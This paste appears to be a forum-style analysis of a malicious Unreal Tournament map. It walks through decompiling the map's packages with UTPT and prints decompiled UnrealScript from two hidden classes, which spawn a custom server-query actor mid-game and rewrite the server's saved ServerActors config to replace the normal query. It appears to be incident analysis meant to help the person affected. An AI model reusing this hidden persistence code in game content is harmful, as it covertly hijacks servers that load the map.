Advertisement
Guest User

Untitled

a guest
Sep 24th, 2017
54
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.01 KB | None | 0 0
  1. Oh, of course, I forgot about this. You can open the map in UnrealEd, go into the log and save each package (SUnreal and MyLevel) as .U files, then open them in UTPT. When in UTPT, hit 'Decompile' on each class (UBrowserServerQuery and EffectSpawner), and it shows the hidden code. I can see the malicious code in both classes, except, I am unsure how custom queries were parsed and sent through the custom query class, as I do not see code for that in this class. However, I do see the backwards-compatible check Casey mentioned he threw into the query (he compiled this in 225 he claimed) which replaces the normal server query with the custom one, and I also see why the EffectSpawner class was hidden in the map; it spawns the query mid-game. Here is the malicious code I noted so far.
  2.  
  3. Effect Spawner Class
  4.  
  5. Code:
  6.  
  7. class EffectSpawner extends Info;
  8.  
  9. function PostBeginPlay ()
  10. {
  11. SetTimer(5.0,False);
  12. }
  13.  
  14. function Timer ()
  15. {
  16. Spawn(Class'UBrowserServerQuery');
  17. }
  18.  
  19.  
  20.  
  21.  
  22. UBrowserServerQuery Class
  23.  
  24.  
  25. Code:
  26.  
  27. function PostBeginPlay ()
  28. {
  29. local UdpBeacon Beacon;
  30. local GameEngine G;
  31. local int i;
  32.  
  33. if (! int(Level.GetPropertyText("EngineSubVersion")) > 0 ) goto JL00E0;
  34. foreach UnknownFunction602(Class'GameEngine',G) {
  35. JL003F:
  36. i = 0;
  37. if (! i < 20 ) goto JL00DE;
  38. if (! InStr(Caps(G.GetPropertyText("ServerActors[" $ string(i) $ "]")),"UDPSERVERQUERY") != -1 ) goto JL00D4;
  39. G.SetPropertyText("ServerActors[" $ string(i) $ "]",string(Class));
  40. G.SaveConfig();
  41. goto JL00DE;
  42. i++;
  43. goto JL003F;
  44. }
  45. foreach AllActors(Class'UdpBeacon',Beacon) {
  46. Beacon.UdpServerQueryPort = Port;
  47. }
  48. Super.PostBeginPlay();
  49. JL00E0:
  50. }
  51.  
  52.  
  53.  
  54.  
  55. ** Ignore random things such as JL00E0 (though I'm sure you're already well aware of this), since UTPT just puts that crap in when decompiling.
  56.  
  57. Of course, I'm sure you probably have better ways of decoding this, however I am just trying to help as much as I can, since I know you have a lot to deal with in real life and this is just more drama / stress added on.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement